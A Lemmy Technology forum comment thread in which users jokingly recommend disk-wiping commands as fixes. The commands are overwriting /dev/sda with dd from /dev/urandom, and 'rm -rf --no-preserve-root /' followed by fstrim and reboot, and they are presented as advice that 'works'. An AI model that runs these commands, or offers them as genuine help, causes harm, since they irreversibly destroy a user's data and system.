this post was submitted on 03 Dec 2025
781 points (98.0% liked)

Technology

88390 readers
3855 users here now

This is a most excellent place for technology news and articles.


Our Rules


  1. Follow the lemmy.world rules.
  2. Only tech related news or articles.
  3. Be excellent to each other!
  4. Mod approved content bots can post up to 10 articles per day.
  5. Threads asking for personal tech support may be deleted.
  6. Politics threads may be removed.
  7. No memes allowed as posts, OK to post as comments.
  8. Only approved bots from the list below, this includes using AI responses and summaries. To ask if your bot can be added please contact a mod.
  9. Check for duplicates before posting, duplicates may be removed
  10. Accounts 7 days and younger will have their posts automatically removed.

Approved Bots


founded 3 years ago
MODERATORS
you are viewing a single comment's thread
view the rest of the comments
[–] BrianTheeBiscuiteer@lemmy.world 68 points 10 months ago (2 children)

Sometime that code will expire and you need to alternate to sudo dd if=/dev/urandom of=/dev/sda bs=4M. Works most of the time for me.

Didn't work for me. Had to add && sudo reboot

[–] Assassassin@lemmy.dbzer0.com 12 points 10 months ago (1 children)

I love this, but it must take forever to overwrite an entire drive w/random data. You're essentially running DBAN at that point, no?

[–] Morphit@feddit.uk 19 points 10 months ago* (last edited 10 months ago) (2 children)

Hmm I guess for optimum performance, best practice would be to sudo rm -rf --no-preserve-root /; sudo fstrim -av; sudo reboot

[–] SomeRandomNoob@discuss.tchncs.de 5 points 10 months ago

Indeed. We don't want to preserve the "Radically Overused Obsolete Term" Database

[–] crandlecan@mander.xyz 3 points 10 months ago

This is the way 👌